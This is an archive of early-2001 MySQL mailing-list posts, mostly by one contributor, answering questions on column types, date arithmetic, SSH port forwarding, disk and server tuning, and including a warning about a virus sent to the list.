Hi, > I want to have like in Access a column that is yes or no or true or false, > something on that line. I looked at www.mysql.com but could not find > anything. I don't know what exactly I am looking for. Could someone give me > a hand it will be greatly appreciated. The ENUM field type will do exactly what you want here. It isn't strictly boolean, but will work exactly how you want if you just specify "Yes" and "No (or "True and "False", etc.) as the possible values. For more info, see the MySQL manual: http://www.mysql.com/doc/E/N/ENUM.html Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Calculated Field
Hi, > How do I set up a field called Minutes which has the (default) value, where > > round((SessionTime+30)/60) = Minutes > > Is it possible to set this up? In other databases (Alpha Five) I would have > used a Calculated Field attribute to achieve this. > > Can MySql handle it.. ??? In SQL databases in general, there is no such thing as a 'Calculated' field type. What you're probably used to is just a convinience supplied by other database systems. What you need to do to accomplish what you want is to calculate that minutes value on the fly, within the SELECT statement that retrieves your data. You don't need to add any fields to your table to do this. Here's an example: SELECT ROUND((SessionTime + 30) / 60) AS Minutes FROM YourTable Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Maximum Password length?
Hi,
>> My apologies if this is an easy question. I've looked at the docs in the
>> privilege section and haven't found a mention of the max length of password
>> for MySQL. I want to set a fairly long one for each of my web servers that
>> will be hitting my database server. Incase it is important, I'm running
>> 3.23.33 on Redhat 7.0.
>>
>> Anyone know how long they can go?
> From the 'user' table in the 'mysql' database:
> mysql> describe user;
> +-+---+--+-+-+---+
> | Field | Type | Null | Key | Default | Extra |
> +-+---+--+-+-+---+
> | Host| char(60) | | PRI | | |
> | User| char(16) | | PRI | | |
> | password| char(16) | | | | |
> .
>
> Looks like it is 16? :)
That's not quite right, actually. Yes, the field in the 'user' table is 16
characters, but MySQL doesn't actually store the original password there.
What it stores is a crytographic cipher of the password, created using the
PASSWORD() function (which is why you must specify the password using that
function when changing passwords).
So, no matter what password you specify for an user, the string stored in
the 'user' table will always be 16 characters. Let me illustrate with a
quick example:
mysql> select password('blah') as crypto;
+--+
| crypto |
+--+
| 652f9c175d1914f9 |
+--+
1 row in set (0.00 sec)
mysql> select
password('kjsdhfaheiehafiaefajfjaslkfnvfmnglsdahewijfioejfoiaewjfwea') as
crypto;
+--+
| crypto |
+--+
| 4d88ee387b92a03e |
+--+
1 row in set (0.00 sec)
But anyway, to answer the original question - it's unlikely that any
limitations will be encountered with the lengths of passwords that are
planned to be used.
The only likely limit I can think of would be that of any buffers in the
MySQL query parsing routines or those in the code for the PASSWORD()
function. Any MySQL developers care to comment on this, just out of
interest?
Regards,
Basil Hussain ([EMAIL PROTECTED])
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail <[EMAIL PROTECTED]>
To unsubscribe, e-mail <[EMAIL PROTECTED]>
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: RDBMS question on coding "expanding series-like fields"
Hi, > I have a Test Questions database. Right now I have a hard-coded limit of > 200 questions in it; I actually made a table with field names like Quest1, > Quest2. . . Quest200. However, I know that I am not using the power of > MySql in setting it up this way. This is more an example of my own > ignorance than of the power of MySql! > > Can someone explain how to set up a table with a fieldname that 'expands' > (maybe something like Quest[i] where "i" can be incremented as required). > Is there more than one way of doing this? Is there a place where I might > see some sample code? What you need is to do something called 'Normalising' (read any good RDBMS book to find out exactly what this is). In your case, two seperate tables is what you need. One for tests and one for the questions for those tests. Here's a quick example: Tests: * Test ID * Name Questions: * Question ID * Question * Test ID Each record in the Questions table not only has it's own unique identifier, but is also related to a particular record by the Test ID field. This is called a 'One-to-Many' relationship - one question record is related to many answer records. Therefore, if we want to have two tests with two questions each, then the table data would look like this: Tests: * 1, "US Culture" * 2, "The Alphabet" Questions: * 1, "Who's the president?", 1 * 2, "Which company does Bill Gates work for?", 1 * 3, "Which letter comes after F?", 2 * 4, "What's the last letter?", 2 So, if you structure your data like this, you'll be able to have not only an unlimited number of tests, but an unlimited number of questions for each test. > I did look up 'enum' and 'set' in the manual but I don't feel confident with > my grasp of the limited explanations given of these. My feeling is that > perhaps 'enum' would be a candidate for what I need, as 'set' has a limit on > how big the set can get.I would like to have the possibility of data > expansion as needed. Enum column types are only ever useful for fields that will only ever contain one of a fixed set of values - like "Yes" and "No", for example. I never use Sets - they're evil. ;) Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Oddity with date subtraction - bug?
Hi, >> mysql> SELECT impression, click, click - impression AS diff, DATE_SUB(click, >> INTERVAL click - impression SECOND) AS calc FROM eventlog; >> +-+-+--+-+ >> | impression | click | diff | calc| >> +-+-+--+-+ >> | 2001-02-22 12:07:03 | 2001-02-22 12:09:04 | 201 | 2001-02-22 12:05:43 | >> | 2001-02-22 12:14:39 | 2001-02-22 12:14:44 |5 | 2001-02-22 12:14:39 | >> | 2001-02-22 12:16:13 | 2001-02-22 12:16:17 |4 | 2001-02-22 12:16:13 | >> +-+-+--+-+ >> 3 rows in set (0.00 sec) >> As you can see, the difference between the two dates on the first record is >> clearly 2 minutes, 1 second - which works out as 121 seconds. However, MySQL >> thinks it's 201 seconds, which is actually 3 minutes 21 seconds - wrong! > 2 min and 1 sec, like 0201 ? Ah, now I see why it's "201"! Just to check it's not a coincidence though, I got MySQL to calculate the difference between now and 60 seconds ago: mysql> SELECT NOW() - DATE_SUB(NOW(), INTERVAL 60 SECOND) AS calc; +--+ | calc | +--+ | 100 | +--+ 1 row in set (0.00 sec) So, this makes sense, according to the above. But, the question remains - why the hell does MySQL return the result of the subtraction/addition in this format? It's completely un-intelligable. I probably would have guessed if it was "0201" or "000201", but it's just stupid how it does it. To prove this, I just did another test: mysql> SELECT NOW() - DATE_SUB(NOW(), INTERVAL 7 MONTH) AS calc; ++ | calc | ++ | 95 | ++ 1 row in set (0.00 sec) What the hell is "95" supposed to represent? Can anyone explain the rational behind this? Anyway, this is clearly not gonna be suitable for subtracting/adding dates, so I suppose I'll have to resort to something ugly like converting each date to a timestamp before subtracting. Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Oddity with date subtraction - bug?
Hi all,
I recently did a query to subtract one DATETIME column from another, but I
got odd results for one row and correct results for others. These queries
expand upon what I was doing:
mysql> SELECT impression, click, click - impression AS diff, DATE_SUB(click,
INTERVAL click - impression SECOND) AS calc FROM eventlog;
+-+-+--+-+
| impression | click | diff | calc|
+-+-+--+-+
| 2001-02-22 12:07:03 | 2001-02-22 12:09:04 | 201 | 2001-02-22 12:05:43 |
| 2001-02-22 12:14:39 | 2001-02-22 12:14:44 |5 | 2001-02-22 12:14:39 |
| 2001-02-22 12:16:13 | 2001-02-22 12:16:17 |4 | 2001-02-22 12:16:13 |
+-+-+--+-+
3 rows in set (0.00 sec)
mysql> SELECT TIME_TO_SEC('00:02:01');
+-+
| TIME_TO_SEC('00:02:01') |
+-+
| 121 |
+-+
1 row in set (0.00 sec)
mysql> SELECT SEC_TO_TIME(201);
+--+
| SEC_TO_TIME(201) |
+--+
| 00:03:21 |
+--+
1 row in set (0.00 sec)
As you can see, the difference between the two dates on the first record is
clearly 2 minutes, 1 second - which works out as 121 seconds. However, MySQL
thinks it's 201 seconds, which is actually 3 minutes 21 seconds - wrong!
Do I have a bug here? Or is this not how I should be subtracting/adding
dates? I'm using version 3.23.32-log, intstalled from official MySQL RPMs.
Regards,
--------
Basil Hussain ([EMAIL PROTECTED])
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail <[EMAIL PROTECTED]>
To unsubscribe, e-mail <[EMAIL PROTECTED]>
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: [problem with creating a user table ]
Hi all, > create table user( u_id int(255) not null, name varchar(255)); > Notice the lack of space between user and the ( if you add a space > in the statment will work. this problem only seems to happen when the > table is named user. create table blah( will work fine It looks like this is occurring because there is a built-in function called 'USER' (which returns the current MySQL user name). The parser is obviously getting confused by this. So, it's either trying to evaluate "user( u_id int(255) not null, name varchar(255))" as a function call and fails, or simply spots that the function call is out of context. Either way it gives the syntax error. Maybe something should be changed so that when the parser spots calls to built-in functions out of context (i.e. in queries other than SELECT, INSERT, UPDATE, etc.) it should tell the user so, rather than giving a terse syntax error. Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: MySQl with SSH
Hi, >> How can I configure MySQL to utilize the SSH package for encrypted >> TCP/IP connection between MySQL clients and server? Thanks in >> advance. > > What I do is setup port-forwarding. I forward a local port (say 12345) > to port 3306 on the database server via an SSH connection: > > ssh -f -L 12345:server.foo.com:3306 sleep 9 > > (or something relatively similar) I've found that you don't need to mess around with 'sleep' command stuff. If you're using an SSH2 client/server (like OpenSSH) you can get the client to set up the forwarding without logging in for a command session. This is how I do it: ssh -2 -l username -N -L 12345:server.foo.com:3306 server.foo.com Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: phpMyAdmin
Hi, > I started looking for it on my Linux box. I have both php3 and 4 on the system > and mysql seems to be working fine. However, I could not find phpMyAdmin. So > how > do I get it and how do I put in on this box?? Here it is: http://www.phpwizard.net/projects/phpMyAdmin/ Regards, ---- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Log File Reporting
Hi all, I'd like to be able to analyse the log files that my MySQL server produces. Basically, I want to find out how many logins every account is doing, how many queries are being performed against each database (although not necessarily per-table) and how many slow queries each account is doing. All of these figures I want to be able to quantify against a certain time period - for example, a 24-hour period. Does anyone know of any log reporting software that might be able to do the job? Maybe somebody has already written something themselves? Initially I thought of using Analog (which I already use for my web, FTP and RealServer logs), but even that's not customisable to the extent I need. Something like Webalizer would be great (with its graphing), but that too is tailored for web logs. Ideally, it'd be great to get MySQL logging to another MySQL database - which I could then use PHP for to query and generate reports, but that seems slightly silly and a bit overkill... :) Also, I notice that the slow query log doesn't record which database was being queried (I'm using version 3.23.32). Why not? Surely this is an essential bit of info? Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: WISHLIST
Hi, > I would like to see some 'bash-like' abilities for an alias command and a > .mysql file or something similar to store commonly used queries (to be > accessed by a single keyword). I find myself writing extremely long > queries from time to time and I have to store them in a text file and > worry about copying and pasting to use them. No need for new features! What you use at the moment (storing frequently-used queries in text files) just happens to be the perfect solution, with but one change. You don't need to manually copy and paste your queries from text files. Simply tell MySQL to 'execute' the file's contents, like so: mysql> source /path/to/your_stored_query.sql Or you can use the shorthand version: mysql> \. /path/to/your_stored_query.sql In fact, the latest versions of the MySQL client program have lots of useful options like this (such as paging, outputting to a file, etc.). Just type "help" for details of all available commands. Regards, ---- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: How to get Query Execution Time
Hi, > at the mysql prompt i can get the exact time taken to run each query. > how can i display this time in an HTML page via PHP. is there a function > which gives me this time Unfortunately, no, there isn't a built-in function to do this. So, you'll have to resort to some DIY. But, it's quite easy... Something like this should do the trick: I'm not exactly sure whether doubleval() will convert microtime()'s "123456 450" return string value into a number like 123456.450, but I seem to remember it does. If not, you'll have to settle for a resolution of only whole seconds, by using time() instead. Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Should I switch to SCSI HD for mysql?
Hi, >> I think I'll go with SCSI and increase the RAM so I can use a >> heap table. > > A cheap first step might be to go with a couple of decent 7200 rpm, > ATA100 (or whatever the hell they're calling themsevles this week) > disks and RAID0 them. > > Striping Good. > > Also, make sure your IDE is spiffed up to the max. Do an: > > hdparm /dev/hda (or whatever). > > Make sure it's using DMA, unmasked IRQ, 32 bit i/o and, a multcount of > 16. Benchmark your drive before and after, with: > > hdparm -t /dev/hda > > You should see >10MB per second after tuning up. Yes, the performance of such a system is really not all that bad. I have a MySQL server running in just such a fashion that handles a fair load. It has two 20Gb ATA-66 drives (although only 5400 RPM) in a software RAID 0 array with tune-up options set using hdparm. BTW, there's a good guide on this at the O'Reilly site: http://www.oreillynet.com/pub/a/linux/2000/06/29/hdparm.html I recommend reading it thoroughly, as well as the hdparm man page. Personally, these are the settings I'm using: multcount= 16 (on) I/O support = 3 (32-bit w/sync) unmaskirq= 1 (on) using_dma= 1 (on) keepsettings = 0 (off) nowerr = 0 (off) readonly = 0 (off) readahead= 8 (on) geometry = 2491/255/63, sectors = 40031712, start = 0 Also, if you don't like the sound of software-controlled RAID (i.e. by the Linux kernel), then you could go for one of the plethora of recent motherboards sporting hardware IDE RAID controllers, or one of the Promise or Adaptec PCI adapters if you don't want to change motherboards. Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Comments in a table
Hi, > Is it possible to put comments against a table and column that are persistent; > so that when you run 'explain' or 'describe', these comments will display. Tables in MySQL (version 3.23 at least - not sure about 3.22) do actually have a comment 'field' built in. You specify your initial comment when you create the table, like so: CREATE TABLE foo (bar INT, blah DATETIME, ... ) COMMENT = "Another table."; You should also be able to change it at any time like this: ALTER TABLE foo COMMENT = "I changed the comment."; However, you can't get the table's comment using normal DESCRIBE statements. It is only available through the SHOW syntax, like so: SHOW TABLE STATUS FROM database LIKE "foo"; The column name in the output (if you're querying from Perl or PHP, etc.) is, unsurprisingly, 'Comment'. There's also lots of other extremely useful information to be gleaned from SHOW TABLE STATUS, such as the type of table and date/time of creation of last update, etc. Unfortunately, you can't tag columns with comments, though. Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Idea: Automated server tuning?
Hi, > Monty mentioned that they're looking at making virtually all of the > run-time variables changeable WITHOUT a server restart. Once that > happens, it's just a matter of programming and benchmarking to have a > self-tuning system (to some degree). I hadn't really thought about the concept in terms of dynamic configuration changes without taking the server down. Sounds great! However, I think if the MySQL developers are thinking about adding some kind of self-tuning on top of dynamic configuration changing, then some heavy thought needs to go into any implementation. Having the server automatically adapt to usage patterns and change it's own config without any kind of control, notice or restarting of the daemon could get sticky. If not implemented right, you might have a situation where MySQL adapts its config wrongly to a prolonged freak period of heavy (or very light) usage which would have trailing repercussions as normal usage is resumed. But, as always, these are problems that can simply (or not so simply) be overcome by good design and programming. > It's certainly useful. As soon as I heard about the tunable parameters > without a restart, the first thing that jumped to mind was a database > tuning application. I'm glad I'm not the only one who's thought of this... :) With dynamic configuration, I now envisage some kind of secondary tuning daemon that runs in parallel to MySQL that continuously tails log files to gather and store commonly used queries as well as regularly taking snapshots of status statistics. It would then periodically analyse the data it's recorded and dynamically make changes it thinks (or rather, to be on the safe side, knows) would make an improvement to common usage. After it has made changes, it would (for while, at least) go into 'sit-back-and-watch' mode, in order to compare performance after the event to what it was before. If it's worse, it dynamically restores the previous config - this might partially avoid the scenario I described earlier. Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
MySQL -> Filemaker Tip
Hi all, I just came across this little tid-bit of information today and thought I'd share it, seeing as it's potentially very useful to anyone trying to export records from MySQL and then import them into a 'repeating' field in Filemaker Pro. When importing a text file of single-field records, Filemaker considers the ASCII character 29 to be a repeating field seperator. So, you may wonder how you can export records terminated by ASCII-29 using MySQL... You can get ASCII-29 by using hexadecimal representation - it's simply 0x1d. So, to export a certain field like this, you simply do: SELECT field FROM table WHERE something = 'foo' INTO OUTFILE '/path/to/whatever.txt' LINES TERMINATED BY 0x1d Then just transfer it to your Mac/PC and import this text file into the repeating field of the record you desire. Et voila! Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Idea: Automated server tuning?
Hi all, In the light of my recent experiences with tuning my MySQL server, I had a few ideas about how getting optimum performance from your MySQL server could be made a little easier for everyone. My idea is to have some kind of facility to 'auto-tune' the server configuration variables for you. Although tuning manually seems to be more trial-and-error than deduction and formulation, I'm sure that it's possible to work out rules for what needs to be configured and how from information that is usually readily available about the environment that the server is running in. Here are some examples of what I mean: 1. The key_buffer_size variable could probably be fairly accurately set according to available system memory, sizes of indexes on current tables and by analysing EXPLAIN output from common SELECT queries from logs. 2. Parameters that are very OS-specific, such as flush_time for Win9x systems and thread_concurrency on Solaris. 3. Things like tmp_table_size could be set according to available system memory and answers from the user about what kind of disk subsystem they're using (maybe not even this - a simple disk benchmark may provide useful info here). These are just initial thoughts, so I could be wrong, but I'm sure there's a grain of sense in there somewhere. What I envisage is something that could operate in either (or maybe both) of two ways. Overall it would be some kind of program that will grab information about the system (i.e. CPU type, RAM, disk subsystem, etc.), status and variable information from MySQL and recent logs it is given access to - maybe even a few answers from the user about things it can't deduce on it's own. It could produce a report about what things are most significant about your usage and environment and some recommendations for configuration settings (maybe even implement them for the user, although that may be a bit *too* automated). It might either be something that you run on a one-off basis, or something that you run persistently over a period of time that would record information it needs at regular intervals in order to get a 'bigger picture' and make more informed recommendations. I'd like to know what people think - whether it's just crazy and would never be feasible or if it could genuinely be something possible and something useful. If it only inspires the MySQL developers to contemplate something like this for a future version of MySQL, then that would great. But otherwise, I like to think that someday I might be able to accomplish it, given some more experience and the time to research everything (and of course, learn some C/C++). Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Lasso for SQL/Linux
Hi, > I've noted that Lassolite is available for MySql on > Linux. I'd like to know if anyone knows about when a full > Lasso version for Linux/SQL will be available for purchase. All the information Blue World - whom I wouldn't touch with the proverbial barge pole, due to previous experiences with their buggy Mac software and poor support - have on Lasso for Linux/Apache/MySQL is this: http://www.blueworld.com/blueworld/news/10.17.00LassoLite_rhl_365.html They only give a vague "next year" (i.e. this year, as that press release is from 2000). But then, you probably already know this... Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: A few queries about optimising MySQL variables
Hi, >> 1. I think I need to optimise table_cache. It's currently set to the >> default of 64. There are a total of 70 tables on the system. The >> manual says you should increase table_cache if the Opened_tables >> status variable is big. How large is 'big'? This value is currently >> 274 on my system. By how much should I increase table_cache? As a >> guide, the my-large.cnf sample config sets this to 256 - would this >> suit my setup? > > Sounds reasonable. It shouldn't make a big impact, but it shouldn't > hurt either. I think I understand this now. The table_cache is the maximum number of tables MySQL can keep open all the time. If your table_cache is lower than the actual number of tables in use (in my case 64 versus 70), then when a table that is not already open needs to be used, MySQL must open it, and so increments the Opened_tables status variable. In an ideal world, Opened_tables would be nil (or very low), as MySQL would already have all the tables open, yes? My Opened_tables figure goes up by about 150-200 every day, so I would assume that a table_cache of 64 is no-way enough! So, as you say, 256 can't hurt! I think I'll do that. >> 2. I currently have sort_buffer at 8 MB. The sample 'large' config >> suggests 1 Mb. The manual says this should be increased to improve >> sorts and grouping performance - which my queries do a lot >> of. Performance seems fine at the moment, but am I unnecessarily >> using too much memory? > > It is allocated on a per-thread basis but only when needed. You can > try to increase it and see if you notice a difference. But with 512MB > and few queries doing sorts, it may not be a big deal. However, if a > lot of your queries require sorting large amounts of data, you may > really benefit. So, I suppose it's best to leave it at 8Mb then. > Really, it's best to run some benchmarks that reflect the workload on > your server and tweak the parameters to see what difference (if any) > the changes make. Hmm, yes. I might have to do that at some point. >> 3. My record_buffer is set to 16 Mb (at the suggestion of someone >> else). The sample 'large' config suggests also 1 Mb. I'm not quite >> sure I understand what this affects. The manual states that: "if you >> do many sequential scans, you may want to increase this value" - but >> what kind of query would make a sequential scan? > > Queries that require a full table scan (those which don't or can't use > indexes). "Sequential scans" can mean "full table scans". So, basically, a large record_buffer is only useful if your queries operate in a non-efficient fashion by not using indexes? I try to optimise all of my queries, and I'm pretty sure that reducing it to something like 4Mb would be alright. > You didn't mention the key_buffer. If configured well, you can get a > great performance boost from it. My key_buffer is currently at 128Mb, but I'm considering upping that to 192Mb or maybe even 256Mb. Probably the former, as I don't have tables with hundereds of thousands of records to contend with. Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
A few queries about optimising MySQL variables
Hi all, Having just upgraded my MySQL server to the latest 3.23.32 version, I thought it would be a good idea to have a review of the configuration and try to optimise the setup further. I hope someone can help me by answering a few queries I have. Here's a bit of info about the spec. of the server: * Pentium III 600 Mhz * 512 Mb RAM * Data directories stored on RAID 0 partition * RedHat Linux 6.2 (with 2.2.16-22 kernel, retrofitted from RH7) The majority of the queries to the server are from a few web servers using PHP4, connecting using persistant connections (it normally runs with approx. 100-150 idle threads because of this). So, I have a few questions: 1. I think I need to optimise table_cache. It's currently set to the default of 64. There are a total of 70 tables on the system. The manual says you should increase table_cache if the Opened_tables status variable is big. How large is 'big'? This value is currently 274 on my system. By how much should I increase table_cache? As a guide, the my-large.cnf sample config sets this to 256 - would this suit my setup? 2. I currently have sort_buffer at 8 MB. The sample 'large' config suggests 1 Mb. The manual says this should be increased to improve sorts and grouping performance - which my queries do a lot of. Performance seems fine at the moment, but am I unnecessarily using too much memory? 3. My record_buffer is set to 16 Mb (at the suggestion of someone else). The sample 'large' config suggests also 1 Mb. I'm not quite sure I understand what this affects. The manual states that: "if you do many sequential scans, you may want to increase this value" - but what kind of query would make a sequential scan? Should I reduce this value? Any answers gratefully accepted! Regards, ---- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Feature Request:
Hi, > I am BEGGING you to please make the describe command OPTIONALLY display the > Privileges column. Before 3.23, I was able to see the describes properly. Now > the command is almost totally useless to me! I agree! On any table you care to describe the output is usually always wider than even a 120 character display because of the privileges column. It would indeed be much better if this column was optional. After all, you don't always want to know what privileges you have on columns in a table. I have a suggestion for an addition to the syntax to solve this problem. By default DESCRIBE or SHOW COLUMNS would not show privilege information, but if you did want to see privileges too, you would enter something like this: DESCRIBE tablename WITH PRIVILEGES SHOW COLUMNS FROM tablename WITH PRIVILEGES Anyway, in the meantime, you can always show the query output in vertical mode by terminating with '\G', rather than ';' or '\g'. But then again, this poses it's own problems with scrolling (but you could probably use the new pager command in the most recent 3.23 clients). Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: bug in 3.23.22-beta
Hi, > That's no bug. That is what timestamp is, current date and current time no > matter whether you insert or update. Read the manual more carefully. What > I think you want is date column, not timestamp. If you really do want to store an actual timestamp figure in your table without it being updated every time the record is modified, then you can use an INT column type. However, I agree with the above - you should use a DATE or DATETIME field instead. You can always easily output one of these column types as a timestamp value with the UNIX_TIMESTAMP() function. Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Bug in MySQL TRIM() Function! ?
Hi,
>> This works:
>>
>> mysql> select trim('foo' FROM 'foobaar');
>> ++
>> | trim('foo' FROM 'foobaar') |
>> ++
>> | baar |
>> ++
>> 1 row in set (0.00 sec)
>>
>> This does not work: !
>>
>> mysql> select trim('foo' FROM 'foo');
>> ++
>> | trim('foo' FROM 'foo') |
>> ++
>> | foo|
>> ++
>> 1 row in set (0.00 sec)
If all you want to do is remove any occurance of 'foo' in a string or column
value then I'd recommend you look at the REPLACE() function in the manual.
Regards,
Basil Hussain ([EMAIL PROTECTED])
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail <[EMAIL PROTECTED]>
To unsubscribe, e-mail <[EMAIL PROTECTED]>
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
[OT] A quick note about the virus going round...
Hi all, I thought I'd just post a quick note (and warning) about some messages sent to the MySQL list with a virus attached. First of all, these are the messages: The message was titled 'Re: escape character for # sign?' The message date was Tue, 16 Jan 2001 19:40:53 +0800 (CST) The message identifier was <00c101c0681e$b20a4920$[EMAIL PROTECTED]> The message sender was [EMAIL PROTECTED] The message was titled 'configuration' The message date was Tue, 16 Jan 2001 19:40:09 +0800 (CST) The message identifier was <000801c0681e$97966f60$[EMAIL PROTECTED]> The message sender was [EMAIL PROTECTED] (Output from my provider's virus detection at mail server, in case you're wondering.) Anyway, the virus is the W32/Navidad virus, which only affects Windows systems (all you Mac/UNIX users can come out from hiding now...). If you got bitten (or to see if you have unknowingly), check this out: http://service1.symantec.com/sarc/sarc.nsf/html/W32.Navidad.html There is also a fix provided by Symantec here: http://service1.symantec.com/sarc/sarc.nsf/info/html/W32.Navidad.Fix.html Regards, -------- Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail <[EMAIL PROTECTED]> To unsubscribe, e-mail <[EMAIL PROTECTED]> Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Splitting Text Field into Table of Words?
